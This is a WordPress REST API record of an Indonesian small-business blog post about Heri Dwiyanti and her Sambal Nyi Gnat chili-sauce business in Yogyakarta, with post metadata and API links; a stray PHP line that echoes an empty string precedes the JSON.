add_action('wp_head', function(){echo '';}, 1);{"id":5357,"date":"2019-07-29T10:26:22","date_gmt":"2019-07-29T03:26:22","guid":{"rendered":"https:\/\/blog.titipku.com\/?p=5357"},"modified":"2019-07-29T11:44:02","modified_gmt":"2019-07-29T04:44:02","slug":"berawal-dari-pecinta-sambal-dwiyanti-produksi-sambal-nyi-gnat-hingga-mancanegara","status":"publish","type":"post","link":"https:\/\/titipku.com\/blog\/berawal-dari-pecinta-sambal-dwiyanti-produksi-sambal-nyi-gnat-hingga-mancanegara\/","title":{"rendered":"Berawal dari pecinta Sambal, Dwiyanti Produksi Sambal Nyi Gnat hingga Mancanegara"},"content":{"rendered":"

Titipku<\/b><\/a>\u00a0– <\/span>Heri Dwiyanti merupakan seorang mantan buruh yang kini memiliki bisnis produk sambal dengan berbagai varian.<\/span><\/p>\n

Ide awal Dwiyanti memilih bisnis produk sambal karena kecintaannya pada sambal itu sendiri. Bahkan ia mengaku telah lama menjadi pecinta sambal hingga satu keluarga.<\/span><\/p>\n

Dari kecintaannya tersebut akhirnya Dwiyanti mencetuskan ide berjualan sambal.<\/span><\/p>\n

Sebelum mencicipi kesuksesan saat berjualan sambal, Dwiyanti juga sempat pada titik tersulit dalam menjalankan bisnisnya.<\/span><\/p>\n

\"sambal

Produk sambal Nyi Gnat<\/p><\/div>\n

Ibu yang mengenakan kacamata hitam tersebut menurutkan kisahnya berjualan sambal pada Titipku.<\/a><\/span><\/p>\n

Usaha yang dimulai pada tahun 2012 tersebut sempat mengalami masa tersulit. \u201cDulu saya <\/em><\/span>dibully<\/span><\/em> sama orang lain karena jualan sambal,\u201d<\/em> tuturnya. Selama <\/span>dibully<\/span><\/i>, istri dari buruh mebel tersebut diam dan cuek. Ia terus menjalankan bisnisnya meskipun banyak ejekan.<\/span><\/p>\n

Pada awal memulai bisnisnya, Dwiyanti menggunakan cup kecil sebagai <\/span>packing<\/span><\/i> sambal yang ia produksi. Selain itu ia juga mengaku sempat menggunakan plastik biasa untuk kemasan sambal<\/a> produksinya.<\/span><\/p>\n

Dalam proses menjalankan bisnis produk sambal, Dwiyanti tak ingin mengenyam kesuksesan sendiri. Ia juga membuka kesempatan pada ibu lain untuk memulai usaha.<\/span><\/p>\n

Dwiyanti membuka kelas pelatihan bagi ibu-ibu yang ingin menjalankan bisnis yang sama, yaitu produk sambal. Pelatihan tersebut diadakan pada kediamannya dengan peralatan yang biasa ia gunakan produksi.<\/span><\/p>\n

Ia mengaku sempat ada pengunjung dari Maumere, Nusa Tenggara Timur, datang ke rumah untuk belajar memasak sambal. Setelah diusut pelatihan tersebut akan ditularkan pada anak-anak difabel agar dapat berkreasi membuat produk sambal.<\/a><\/span><\/p>\n

\u201cMenurut saya ini menjadi amal jariyah juga telah menularkan ilmu yang bermanfaat,\u201d tutur Dwiyanti.<\/span><\/p><\/blockquote>\n

AWAL PENGIRIMAN, RUGI SATU JUTA<\/h4>\n

Setelah mengenal platform digital<\/em>, Dwiyanti memulai memasarkan hingga ke luar kota. Usaha produk sambalnya telah memiliki akun Instagram bisnis dengan username @sambalgranat_. Dari pemasarannya tersebut, akhirnya Dwiyanti memiliki pelanggan yang berada di luar kota.\u00a0<\/span><\/p>\n

\"jual

Ibu Dwiyanti owner Sambal Nyi Gnat<\/p><\/div>\n

Namun dalam proses pengiriman ternyata terdapat satu cerita miris yang harus dialaminya. Dwiyanti harus rugi sekitar Rp 1 juta karena proses pengiriman yang tak berjalan lancar.<\/span><\/p>\n

\u201cTernyata salah alamat pengiriman, jadi produknya tidak sampai ke rumah pelanggan dan sudah lewat tanggal kadaluarsa,\u201d<\/em> ungkapnya. Dwiyanti mengaku saat itu sambalnya hanya bisa bertahan 10 hari dalam proses pengiriman.<\/span><\/p>\n

Karena tak mau mengecewakan pelanggan, Dwiyanti dengan sigap mengirimkan kembali produk sambal yang di pesan pelanggannya menggunakan jasa travel.<\/span><\/p>\n

\u201cDi situ saya rugi sekitar 1 juta. Kalau diingat sedih. Tapi itu menjadi proses pembelajaran saya,\u201d kenang Dwiyanti.<\/span><\/p><\/blockquote>\n

Dipasarkan hingga Luar Negeri<\/h4>\n

Saat ini produk Sambal Nyi Gnat telah dipasarkan hingga luar negeri. Katalog produknya sudah pernah di pajang pada pameran di Prancis.<\/span><\/p>\n

Selain itu, ada pembeli dari Malaysia, Brunei Darussalam, bahkan Nigeria.<\/span><\/p>\n

Untuk pasar Indonesia, Sambal Nyi Gnat telah memiliki pelanggan tetap di Bekasi dan Bandung. Selain itu, produk Sambal Nyi Gnat juga dikenal di daerah lain seperti Kalimantan dan Papua.<\/span><\/p>\n

Dwiyanti juga bercerita bahwa produk sambalnya juga memiliki beberapa reseller<\/em> yang memasarkan produknya. Namun kendala yang sering ia alami yaitu tidak ada reseller<\/em> yang tetap untuk memasarkan produknya.<\/span><\/p>\n

\"jual

Varian produk sambal Nyi Gnat<\/p><\/div>\n

Selain kendala reseller<\/em>, Dwiyanti juga mengungkapkan kendala pada packing<\/em>. Ia memiliki keinginan untuk mengganti bahan kemasan sambal yang lebih unggul dan awet.<\/span><\/p>\n

Usaha sambal milik Dwiyanti ini berlokasi di <\/span>Suryodiningratan MJ 2\/752B, Kecematan Mantrijeron, Kota Yogyakarta, Daerah Istimewa Yogyakarta. <\/span>Untuk satu produknya, Dwiyanti membandrol dengan harga Rp 25 ribu. Sedangkan saat mengikuti pameran ia menjual dengan harga Rp 35 ribu.<\/span><\/p>\n

Baca Juga :\u00a0Pedas Granat! Mencoba Varian Sambal Nyi Gnat yang Bikin Nagih<\/a><\/p>\n

AYO MENJELAJAH!<\/h4>\n

Titipku<\/b>\u00a0sudah membantu UMKM ini agar masuk online melalui\u00a0aplikasi Titipku.<\/strong><\/a>\u00a0Kamu juga bisa\u00a0postin<\/i>g usaha UMKM manapun agar perekonomian Indonesia semakin maju!<\/p>\n

Titipku membantu digitalisasi UMKM melalui\u00a0<\/b>Penjelajah untuk memajukan produk-produk lokal Indonesia. Ayo Menjelajah!<\/p>\n

Ditulis oleh Hanin Safitri<\/p>\n","protected":false},"excerpt":{"rendered":"

Titipku\u00a0– Heri Dwiyanti merupakan seorang mantan buruh yang kini memiliki bisnis produk sambal dengan berbagai varian. Ide awal Dwiyanti memilih bisnis produk sambal karena kecintaannya pada","protected":false},"author":7,"featured_media":5360,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[45,44],"tags":[6842,6765,6766,6837,6838,6739,6748,6751,6738,6749,6843,6757,6844,6762,6841,6840,6764,6768,1315,6750,6758,6839,6767],"_links":{"self":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/5357"}],"collection":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/comments?post=5357"}],"version-history":[{"count":1,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/5357\/revisions"}],"predecessor-version":[{"id":5359,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/5357\/revisions\/5359"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/media\/5360"}],"wp:attachment":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/media?parent=5357"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/categories?post=5357"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/tags?post=5357"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}